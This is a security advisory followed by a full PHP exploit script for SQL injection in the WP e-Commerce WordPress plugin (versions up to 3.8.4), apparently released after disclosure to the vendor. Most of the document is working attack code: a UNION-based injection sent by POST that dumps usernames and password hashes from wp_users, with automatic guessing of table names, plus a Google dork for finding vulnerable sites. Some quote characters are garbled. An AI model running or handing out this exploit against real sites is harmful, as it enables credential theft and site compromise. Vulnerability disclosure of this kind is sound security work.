Original Advisory:
http://www.ihteam.net/advisory/wordpress-wp-e-commerce-plugin/
Plain text here:
http://www.ihteam.net/advisories/_561684984189_wp-e-commerce_384_sqli.tar.gz
<?php
/*
WP e-Commerce <= 3.8.4 SQL Injection
Download link: http://wordpress.org/extend/plugins/wp-e-commerce/
Author contact: 29/06/2011
Exploit published: 18/07/2011
Bugged code (wpsc-theme/functions/wpsc-user_log_functions.php):
foreach ( (array)$_POST['collected_data'] as $value_id => $value ) {
$form_sql = "SELECT * FROM `" . WPSC_TABLE_CHECKOUT_FORMS . "` WHERE
`id` = '$value_id' LIMIT 1?;
$form_data = $wpdb->get_row( $form_sql, ARRAY_A );
FIX: Upgrade to new version
Bug found by: IHTeam
For GetShopped as their security auditors
This code has been released under the authorization of GetShopped staff.
It will show user_login and user_pass of wp_users table;
Google Dork: inurl:page_id= "Your billing/contact details"
Follow us on Twitter! @IHTeam
*/
function help() {
echo "\n";
echo " -------------------WP e-Commerce <= 3.8.4 SQL
Injection---------------\n\n";
echo " How to use: php wp-ecommerce.php host path page_id
[table_name]\n\n";
echo " host = Domain name\n";
echo " path = Path of WordPress\n";
echo " page_id = Int value of the login page of WP
e-commerce\n";
echo " table_name = Default is wp_users\n\n";
echo " Example: php wp-commerce.php www.domain.com /wordpress/ 11
wp_users\n\n";
echo "
----------------------------------------------------------------------\n\n";
}
function exploit($host,$path,$pageid,$table) {
$url = $host.$path."?page_id=".$pageid."&edit_profile=true";
$buggy_code=urlencode("-2? UNION ALL SELECT 2,
concat(user_login,':',user_pass), 'email', 1, 1, null, 1, 2,
'billingfirstname', null, 0 from ".$table." WHERE
'1?='1?);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"collected_data[".$buggy_code."]=&submit=Save+Profile&submitwpcheckout_profile=true");
$result= curl_exec ($ch);
curl_close ($ch);
echo "Now using table name: $table... ";
preg_match("/<span
class=\"wpsc_error_msg_field_name\">(.*?)<\/span>.<br \/>/",
$result, $matches);
if ( !isset($matches[1]) )
$msg="Wrong table name or not vulnerable\n";
else
$msg="Credential found: ".$matches[1]."\n";
return $msg;
}
if ( isset($argv[1]) && isset($argv[2]) && isset($argv[3]) ) {
if (isset($argv[4]))
$table = $argv[4];
else
$table = "wp_users";
$host = $argv[1];
$spos=strpos($host, "http://");
if(!is_int($spos)&&($spos==0))
$host="http://$host";
$path = $argv[2];
$pageid=(int)$argv[3];
/* Detecting the version, if possible */
$version =
file_get_contents($host.$path.'wp-content/plugins/wp-e-commerce/readme.txt');
preg_match("/Stable tag: (.*)/", $version, $vmatch);
if ( !isset($vmatch[1]) )
$version="Not detectable\n";
else
$version=$vmatch[1];
echo "Version: ".$version."\n";
/* End of version detecting */
/* Executing exploit */
preg_match('/[^.]+\.[^.]+$/', $host, $hmatch);
$host_name=str_replace('http://',",$hmatch[0]);
$tarray = array($table, 'wordpress_users', '_users', 'users',
'wpusers','wordpressusers', $host_name.'_users',
str_replace('.',",$host_name).'_users',
str_replace('.',",$host_name).'users' );
foreach($tarray as $index => $val) {
echo exploit($host,$path,$pageid,$val);
}
/* End of exploit */
} else
help();
